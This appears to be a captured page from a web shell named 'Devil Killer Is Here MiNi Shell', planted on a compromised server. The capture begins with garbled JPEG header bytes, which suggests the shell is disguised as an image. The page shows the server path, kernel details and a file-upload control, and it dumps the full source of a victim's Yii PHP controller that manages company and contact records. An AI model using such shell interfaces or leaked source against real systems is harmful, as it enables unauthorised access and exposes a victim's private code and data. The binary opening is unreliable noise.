JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/CompaniesController.php

<?php

namespace backend\controllers;

use Yii;
use backend\models\Companies;
use backend\models\CompaniesSearch;
use common\models\CompaniesCases;
use backend\models\CompaniesCasesSearch;
use backend\models\CompaniesSimilarSearch;
use backend\models\UsersSearch;
use yii\data\ActiveDataProvider;
use common\models\CompaniesInvoicingData;
use common\models\CompaniesCorrespondenceData;
use common\models\CompaniesContactData;
use common\models\CompaniesPresentations;
use common\models\Users;
use common\models\UsersContactData;
use common\models\CompaniesCasesEntries;
use common\models\types\ContactDataType;
use common\models\types\UserChangeType;
use common\models\types\Status;
use common\models\types\UserProfile;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;
use yii\helpers\ArrayHelper;
use yii\caching\TagDependency;
use frontend\models\IndexPresentations;

/**
 * CompaniesController implements the CRUD actions for Companies model.
 */
class CompaniesController extends Controller
{
    use \backend\components\traits\ControllerFunctions;
    use \backend\components\traits\CacheTagsFunctions;
        
    /**
     * Lists all Companies models.
     * @return mixed
     */
    public function actionIndex()
    {        
        $searchModel = new CompaniesSearch();
        $queryParams = Yii::$app->request->queryParams;
        
        $orVisibleOperators = false;
        
        if(Yii::$app->user->can('indexCompanies')) {
            $orVisibleOperators = true;
            $queryParams['CompaniesSearch']['withOperators'] = true;
        } elseif(Yii::$app->user->can('indexAssignedCompanies')) {
            $queryParams['CompaniesSearch']['idOperator'] = Yii::$app->user->id;
            $orVisibleOperators = true;
            $queryParams['CompaniesSearch']['withOperators'] = true;
        } elseif(Yii::$app->user->can('indexOwnCompanies')) {
            $queryParams['CompaniesSearch']['id_user'] = Yii::$app->user->id;
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'orVisibleOperators' => $orVisibleOperators
        ]);
    }
    
    /**
     * Lists all Companies models for sellers.
     * @return mixed
     */
    public function actionIndexSellers()
    {        
        $searchModel = new CompaniesSearch();
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['CompaniesSearch']['onlySellers'] = true;
        
        $orVisibleOperators = false;
        
        if(!Yii::$app->user->can('indexCompaniesSellers')) {            
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'orVisibleOperators' => $orVisibleOperators
        ]);
    }
    
    /**
     * Lists all CompaniesCasesEntries models.
     * @return mixed
     */
    public function actionIndexContacts()
    {                 
        $startDatetime = Yii::$app->request->get('datetime_start');
        $endDatetime = Yii::$app->request->get('datetime_end');
        
        if(Yii::$app->user->can('indexCompanies')) {
            $canSeeEverything = true;
        } elseif(Yii::$app->user->can('indexAssignedCompanies')) {
            $canSeeEverything = false;
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $query = CompaniesCasesEntries::find();
        if(!empty($startDatetime) && !empty($endDatetime)) {
            if(!$canSeeEverything) {
                $query->join('INNER JOIN', 'operators_has_companies', 'operators_has_companies.id_company = companies_cases.id_company AND operators_has_companies.id_user = '.intval(Yii::$app->user->id));
            }
            
            $query->with(['case'])
                ->joinWith(['case.company']) 
                ->where([
                    'in', 
                    'companies_cases_entries.id_entry',
                    CompaniesCasesEntries::find()->select(new \yii\db\Expression('DISTINCT ON (companies_cases_entries.id_case) companies_cases_entries.id_entry'))
                        ->join('INNER JOIN', 'companies_cases', 'companies_cases.id_case = companies_cases_entries.id_case')
                        ->where(!$canSeeEverything ? ['companies_cases_entries.id_user' => Yii::$app->user->id] : '1=1')
                        ->andWhere(['>=', 'companies_cases_entries.created_at', $startDatetime])
                        ->andWhere(['<=', 'companies_cases_entries.created_at', $endDatetime])
                        ->orderBy('companies_cases_entries.id_case DESC, companies_cases_entries.created_at DESC')
                ])
                ->andWhere(['>=', 'companies_cases_entries.created_at', $startDatetime])
                ->andWhere(['<=', 'companies_cases_entries.created_at', $endDatetime])
                ->andWhere(['companies.usage_status' => \common\models\types\CompanyUsageStatus::USED]);
        } else {
            $query->where('0=1');
        }     
        
        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'pagination' => [
                'defaultPageSize' => Yii::$app->session->get('dps.companies.index-contacts', 25),
                'pageSizeLimit' => [1, 100]
            ],
            'sort'=> [
                'attributes' => [
                    'created_at',
                    'priority' => [
                        'asc' => ['companies_cases_entries.priority' => SORT_ASC, 'contact_term' => SORT_DESC],
                        'desc' => ['companies_cases_entries.priority' => SORT_DESC, 'contact_term' => SORT_DESC],
                        'default' => SORT_ASC,
                    ],
                    'company_name' => [
                        'asc' => ['companies.name' => SORT_ASC],
                        'desc' => ['companies.name' => SORT_DESC],
                        'default' => SORT_ASC,
                        'label' => Yii::t('backend', 'Firma'),
                    ],
                ],
                'defaultOrder' => ['created_at' => SORT_DESC]
            ]
//            'sort' => false
        ]);
        
        if($dataProvider->pagination->defaultPageSize !== $dataProvider->pagination->pageSize) {
            Yii::$app->session->set('dps.companies.index-contacts', $dataProvider->pagination->pageSize);
        }
        
        return $this->render('index_contacts', [
            'dataProvider' => $dataProvider,
        ]);
    }

    /**
     * Displays a single Companies model.
     * @param integer $id
     * @return mixed
     */
    public function actionView($id)
    {
        $model = $this->findModel($id);
        
        if (!\Yii::$app->user->can('viewCompaniesData', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->params['activeMenuItem'] = 'companies-basic-data';
                        
        $dataProviderInvoicingData = new \yii\data\ActiveDataProvider([
            'query' => $model->getInvoicingData(),
            'pagination' => false,
            'sort' => false
        ]);
        
        $dataProviderCorrespondenceData = new \yii\data\ActiveDataProvider([
            'query' => $model->getCorrespondenceData(),
            'pagination' => false,
            'sort' => false
        ]);
        
        if(Yii::$app->request->get('refresh_email') == 1) {
            \common\models\Emails::refreshForCompany($model->id_company);
        }
        
        return $this->render('view', [
            'model' => $model,
            'dataProviderInvoicingData' => $dataProviderInvoicingData,
            'dataProviderCorrespondenceData' => $dataProviderCorrespondenceData,
            'modelsContactData' => $model->getContactData()->orderBy('data_order')->all(),
        ]);
    }

    /**
     * Creates a new Companies model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreate()
    {
        $model = new Companies();
        $model->id_country = 'PL';
        
        if(\Yii::$app->user->can('createCompanies')) {
            $model->setScenario('create');
        } elseif(\Yii::$app->user->can('createOwnCompanies')) {
            $model->setScenario('createBasic');
            $model->id_user = Yii::$app->user->getId();
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }        
        
        $baseModelContactData = new CompaniesContactData(['scenario' => 'create']);
        
        $model->usage_status = \common\models\types\CompanyUsageStatus::UNUSED;
        
        if(Yii::$app->request->getIsPost()) {
            $postCompaniesContactData = Yii::$app->request->post('CompaniesContactData', []);
            if(!empty($postCompaniesContactData)) {
                foreach($postCompaniesContactData as $key => $value) {
                    $modelsContactData[$key] = new CompaniesContactData(['scenario' => 'create']);
                }
            }
        }
        
        $outputParams = [
            'model' => $model, 
            'baseModelContactData' => $baseModelContactData
        ];

        if (Yii::$app->request->isAjax && $model->load(Yii::$app->request->post()) && (empty($modelsContactData) || \yii\base\Model::loadMultiple($modelsContactData, Yii::$app->request->post()))) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_user', 'id_country', 'listLanguages', 'listBusinessSectors']), !empty($modelsContactData) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsContactData, ['data_type', 'data_value', 'data_label', 'data_order']) : []);
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post()) || (!empty($modelsContactData) && !\yii\base\Model::loadMultiple($modelsContactData, Yii::$app->request->post()))) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $model->settings = ['advertisements_limit' => Yii::$app->params['limitOfFreeAdvertisementsForCompany']];
            
            $model->loadLogoFile();
            
            if(!$model->validate()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('create', $outputParams);
            }
            
            $flag = $model->save(false);
            
            $existsEmails = false;            
            if($flag && !empty($modelsContactData)) {
                foreach($modelsContactData as $key => $modelContactData) {
                    if($modelContactData->data_type === ContactDataType::EMAIL) {
                        $existsEmails = true;
                    }
                    $modelContactData->data_order = intval($modelContactData->data_order);
                    $modelContactData->id_company = $model->id_company;
//                    $settings = json_decode($modelContactData->settings, true);
                    $settings = $modelContactData->settings; //#JSON-hack#
                    if($modelContactData->data_type === ContactDataType::EMAIL && isset($postCompaniesContactData[$key]['purposes'])) {                          
                        foreach($postCompaniesContactData[$key]['purposes'] as $purposeField => $purposeValue) {
                            $settings['purposes'][$purposeField] = intval($purposeValue);
                        }
//                        $modelContactData->settings = json_encode($settings);
                        $modelContactData->settings = $settings; //#JSON-hack#
                    } elseif(isset($settings['purposes'])) {
                        unset($settings['purposes']);
//                        $modelContactData->settings = !empty($settings) ? json_encode($settings) : '{}'; 
                        $modelContactData->settings = !empty($settings) ? $settings : []; //#JSON-hack#
                    }
                }
                
                if(!\yii\base\Model::validateMultiple($modelsContactData)) {                    
                    $errorsFromModelsContactData = [];
                    if(!empty($modelsContactData)) {
                        foreach($modelsContactData as $modelContactData) {
                            if($modelContactData->hasErrors()) {
                                foreach($modelContactData->getErrors() as $error) {
                                    $errorsFromModelsContactData[] = $error;
                                }
                            }
                        }
                    }
                    
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $errorsFromModelsContactData);
                    return $this->render('create', $outputParams);
                }
                
                ArrayHelper::multisort($modelsContactData, ['data_order'], [SORT_ASC]);
                $i = 1;
                foreach($modelsContactData as $modelContactData) {
                    $modelContactData->data_order = $i;
                    $i++;
                    if(!$modelContactData->save(false)) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            $flag = $flag && $model->save(false);
            $flag = $flag && $model->saveLanguages();
            $flag = $flag && $model->saveBusinessSectors();
            
            if ($flag) {
                $newImagePath = $model->saveLogoFile();
                if($newImagePath === false) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                    return $this->render('create', $outputParams);
                } 
                
                $transaction->commit();
                if($existsEmails) {
                    \common\models\Emails::refreshForCompany($model->id_company);
                }
                $this->createEntryForUserChange(UserChangeType::COMPANY_ADDED, $model->id_company, $model->id_company);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['view', 'id' => $model->id_company]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }
        
        return $this->render('create', $outputParams);
    }

    /**
     * Updates an existing Companies model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdate($id)
    {
        $model = $this->findModel($id);      
        
        $orManageByMarketer = false;
        if(\Yii::$app->user->can('modifyCompaniesData')) {
            $model->setScenario('update');
        } elseif(\Yii::$app->user->can('modifyAssignedCompaniesBasicData', ['model' => $model])) {
            $orManageByMarketer = true;
            $model->setScenario('update');
        } elseif(\Yii::$app->user->can('modifyOwnCompaniesData', ['model' => $model])) {
            //nie robimy nic
            $model->setScenario('updateBasic');
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->params['activeMenuItem'] = 'companies-basic-data';
        
        $baseModelContactData = new CompaniesContactData(['scenario' => 'update']);
        $existsEmails = false;
        $modelsContactData = $model->getContactData()->orderBy('data_order')->indexBy('id_contact_data')->all();        
        foreach($modelsContactData as $modelContactData) {
            $modelContactData->setScenario('update');
            if($modelContactData->data_type === ContactDataType::EMAIL) {
                $existsEmails = true;
            }
        }
        
        if(Yii::$app->request->getIsPost()) {
            $postCompaniesContactData = Yii::$app->request->post('CompaniesContactData', []);
            $idsCompaniesContactData = array_map('intval', array_keys($postCompaniesContactData));
            if(!empty($postCompaniesContactData)) {                
                foreach($postCompaniesContactData as $key => $value) {
                    if(!isset($modelsContactData[$key])) {
                        $modelsContactData[$key] = new CompaniesContactData(['scenario' => 'create', 'id_company' => $model->id_company]);
                    }
                }
            }
        }
        
        $outputParams = [
            'model' => $model, 
            'modelsContactData' => $modelsContactData, 
            'baseModelContactData' => $baseModelContactData,
        ];
        
        if (Yii::$app->request->isAjax && $model->load(Yii::$app->request->post()) && (empty($idsCompaniesContactData) || \yii\base\Model::loadMultiple($modelsContactData, Yii::$app->request->post()))) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_user', 'id_country', 'listLanguages', 'listBusinessSectors']), !empty($idsCompaniesContactData) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsContactData, ['data_type', 'data_value', 'data_label', 'data_order']) : []);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            $oldStatus = $model->status;
            $oldCompanyName = $model->name;
            if(!$model->load(Yii::$app->request->post()) || (!empty($idsCompaniesContactData) && !\yii\base\Model::loadMultiple($modelsContactData, Yii::$app->request->post()))) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('update', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $oldImagePath = $model->loadLogoFile();
            
            $flag = true;            
            
            if(!empty($modelsContactData)) {                
                foreach($modelsContactData as $key => $modelContactData) {
                    if($modelContactData->data_type === ContactDataType::EMAIL) {
                        $existsEmails = true;
                    }
                    
                    if(!$modelContactData->isNewRecord && !in_array($modelContactData->id_contact_data, $idsCompaniesContactData)) {
                        $flag = $modelContactData->delete();
                        if($flag === false) {
                            break;
                        }
                        unset($modelsContactData[$key]);
                    } else {
                        $modelContactData->data_order = intval($modelContactData->data_order);
                        $modelContactData->id_company = $model->id_company;
//                        $settings = json_decode($modelContactData->settings, true);
                        $settings = $modelContactData->settings; //#JSON-hack#
                        if($modelContactData->data_type === ContactDataType::EMAIL && isset($postCompaniesContactData[$key]['purposes'])) { 
                            foreach($postCompaniesContactData[$key]['purposes'] as $purposeField => $purposeValue) {
                                $settings['purposes'][$purposeField] = intval($purposeValue);
                            }
//                            $modelContactData->settings = json_encode($settings);
                            $modelContactData->settings = $settings; //#JSON-hack#
                        } elseif(isset($settings['purposes'])) {
                            unset($settings['purposes']);
//                            $modelContactData->settings = !empty($settings) ? json_encode($settings) : '{}'; 
                            $modelContactData->settings = !empty($settings) ? $settings : [];  //#JSON-hack#
                        }                     
                    }
                }
            }
            
            if($flag && (!$model->validate() || (!empty($modelsContactData) && !\yii\base\Model::validateMultiple($modelsContactData)))) {
                $errorsFromModelsContactData = [];
                if(!empty($modelsContactData)) {
                    foreach($modelsContactData as $modelContactData) {
                        if($modelContactData->hasErrors()) {
                            foreach($modelContactData->getErrors() as $error)
                            $errorsFromModelsContactData[] = $error;
                        }
                    }
                }
                Yii::$app->session->addFlash('error', ArrayHelper::merge($model->getErrors(), $errorsFromModelsContactData));
                return $this->render('update', $outputParams);
            }
            
            if($flag && !empty($modelsContactData)) {                
                ArrayHelper::multisort($modelsContactData, ['data_order'], [SORT_ASC]);
                $i = 1;                
                foreach($modelsContactData as $modelContactData) {
                    $modelContactData->data_order = $i;
                    $i++;
                    if(!$modelContactData->save(false)) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            if($flag && !$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('update', ['model' => $model]);
            } 
            
            $flag = $flag && $model->save(false);
            $flag = $flag && $model->saveLanguages();
            $flag = $flag && $model->saveBusinessSectors();
            
            if($flag) {
                $idsPresentations = $model->getPresentations()->select(['id_presentation'])->column();            
                $results = IndexPresentations::refreshRecords($idsPresentations);
                if(!empty($results)) {
                    foreach($results as $result) {
                        if(!$result) {
                            $flag = false;
                            break;
                        }
                    }
                }
            }            
            
            if($flag && $orManageByMarketer && $oldCompanyName !== $model->name) {
                $modelCase = new \common\models\CompaniesCases(['scenario' => 'create']);
                $modelCase->id_company = $model->id_company;
                $modelCase->id_user = Yii::$app->user->id;
                $modelCase->subject = 'Dokonano zmiany nazwy firmy z: '.$oldCompanyName.' na: '.$model->name.'.';
                $modelCase->status = \common\models\types\CompanyCaseStatus::CLOSED;
                
                $flag = $modelCase->save();
                if($flag) {
                    $modelCaseEntry = new \common\models\CompaniesCasesEntries(['scenario' => 'create']);
                    $modelCaseEntry->id_case = $modelCase->id_case;
                    $modelCaseEntry->id_user = Yii::$app->user->id;
                    $modelCaseEntry->content = 'Dokonano zmiany nazwy firmy z: '.$oldCompanyName.' na: '.$model->name.'.';
                    $modelCaseEntry->contact_term = date('Y-m-d H:i');
                    $modelCaseEntry->priority = \common\models\types\CompanyCasePriority::NORMAL;
                    
                    $flag = $modelCaseEntry->save();
                }
            }
            
            if($flag) {
                $newImagePath = $model->saveLogoFile();
                if($newImagePath === false) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                    return $this->render('update', $outputParams);
                }  
                if(!empty($oldImagePath)) {
                    Companies::deleteImage($oldImagePath);
                }
                
                $transaction->commit();
                if($existsEmails || ($model->status !== $oldStatus)) {
                    \common\models\Emails::refreshForCompany($model->id_company);
                }
                $cacheTags = ['company_'.$model->id_company];
                if(!empty($model->presentations)) {
                    $idsPresentations = [];
                    foreach($model->presentations as $modelCompanyPresentation) {
                        $cacheTags[] = 'extended_menu_companies_portal_'.$modelCompanyPresentation->id_portal;
                        $orExistTopCompany = \common\models\CompaniesPresentationsPromoted::find()
                            ->where([
                                'promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_COMPANY,
                                'id_presentation' => $modelCompanyPresentation->id_presentation
                            ])
                            ->exists();
                        if($orExistTopCompany) {
                            $cacheTags[] = 'mainpage_box_top_companies_portal_'.$modelCompanyPresentation->id_portal;
                        }
                    }
                }                 
                TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
                $this->deleteImportErrorEntryIfExists();
                $this->createEntryForUserChange(UserChangeType::COMPANY_MODIFIED, $model->id_company, $model->id_company);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));                
                return $this->redirect(['view', 'id' => $model->id_company]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            }
        }

        return $this->render('update', $outputParams);
    }

    /**
     * Deletes an existing Companies model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDelete($id)
    {
        $model = $this->findModel($id);
        
        if(!\Yii::$app->user->can('deleteCompanies', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $orForce = intval(Yii::$app->request->get('force', 0));
        
        if(!$orForce) {
            $modelsPresentations = $model->getPresentations()
                    ->with(['portal'])
                    ->all();
            if(!empty($modelsPresentations)) {
                return $this->render('delete', [
                    'model' => $model, 
                    'modelsPresentations' => $modelsPresentations
                ]);
            }
        }

        $cacheTags = $this->getCacheTagsForCompany($model);
                
        $transaction = Yii::$app->db->beginTransaction();

        try {
            $model->delete();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));             
            TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);        
            $this->createEntryForUserChange(UserChangeType::COMPANY_DELETED, $model->id_company, $model->id_company);
        } catch (\Exception $ex) {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));  
            return $this->redirect(['index']);
        }
        
        $transaction->commit();
        
        return $this->redirect(['index']);
    }
    
    public function actionBruteForceDelete($id)
    {        
        if(!\Yii::$app->user->can(UserProfile::ADMIN)) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model = $this->findModel($id);
        
        if($model->usage_status !== \common\models\types\CompanyUsageStatus::UNUSED || $model->user->status === Status::ACTIVE) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['index']);
        }
        
        if(Yii::$app->request->getIsPost()) {  
            $idUser = intval(Yii::$app->request->post('id_user'));
            
            if($idUser !== $model->id_user) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->redirect(['brute-force-delete', 'id' => $model->id_company]);
            }
            
            $transaction = Yii::$app->db->beginTransaction();

            try {
                Yii::$app->db->createCommand()->delete('users', 'id_user = '.intval($model->id_user))->execute();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.')); 
                $transaction->commit();
                return $this->redirect(['index']);
            } catch (\Exception $ex) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));  
                return $this->redirect(['brute-force-delete', 'id' => $model->id_company]);
            }
        }                
        
        return $this->render('brute_force_delete', [
            'model' => $model
        ]);
        
    }
    
    public function actionPresentationsSettings($id)
    {
        $modelCompany = $this->findModel($id);        
        if (!\Yii::$app->user->can('viewCompaniesData', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        
        
        $modelsPresentations = $modelCompany->getPresentations()
                ->with([
//                    'portal' => function($q) {
//                        $q->with(['childrenPortals']);
//                    }, 
                    'portal', 
                    'relationsWithRelatedPresentations'
                ])
                ->indexBy('id_presentation')
                ->all();
        
        $presentationsByGroups = [];
        $idsProcessedPresentations = [];
        foreach($modelsPresentations as $idPresentation => $modelPresentation) {
            if(!empty($modelPresentation->portal->id_parent_portal)) {
//                $presentationsByGroups[$modelPresentation->portal->id_parent_portal]['portals'][$modelPresentation->portal->id_portal] = $modelPresentation->portal;
                if(!isset($presentationsByGroups[$modelPresentation->portal->id_parent_portal]['max_number_of_boxes'])) {
                    $presentationsByGroups[$modelPresentation->portal->id_parent_portal]['max_number_of_boxes'] = 1;
                } else {
                    $presentationsByGroups[$modelPresentation->portal->id_parent_portal]['max_number_of_boxes']++;
                }
                if(!isset($presentationsByGroups[$modelPresentation->portal->id_parent_portal]['label'])) {
                    $presentationsByGroups[$modelPresentation->portal->id_parent_portal]['label'] = $modelPresentation->portal->parentPortal->getSettingsKey('name_for_portals_group');
                }
                
//                $presentationsByGroups[$modelPresentation->portal->id_parent_portal]['presentations'][$modelPresentation->id_presentation] = $modelPresentation;
                
                if(!isset($idsProcessedPresentations[$idPresentation])) {
//                    $subgropup = [$modelPresentation];
                    $subgropup = [$modelPresentation->id_presentation => $modelPresentation->portal->domain];
                    $idsProcessedPresentations[$idPresentation] = $idPresentation;
                    if(!empty($modelPresentation->relationsWithRelatedPresentations)) {
                        foreach($modelPresentation->relationsWithRelatedPresentations as $modelPresentationMirroring) {
                            if(!isset($idsProcessedPresentations[$modelPresentationMirroring->id_related_presentation])) {
//                                $subgropup[] = $modelsPresentations[$modelPresentationMirroring->id_related_presentation];
                                $subgropup[$modelPresentationMirroring->id_related_presentation] = $modelsPresentations[$modelPresentationMirroring->id_related_presentation]->portal->domain;
                                $idsProcessedPresentations[$modelPresentationMirroring->id_related_presentation] = $modelPresentationMirroring->id_related_presentation;
                            }
                        }
                    }
//                    $presentationsByGroups[$modelPresentation->portal->id_parent_portal]['presentations_groups'][] = $subgropup;
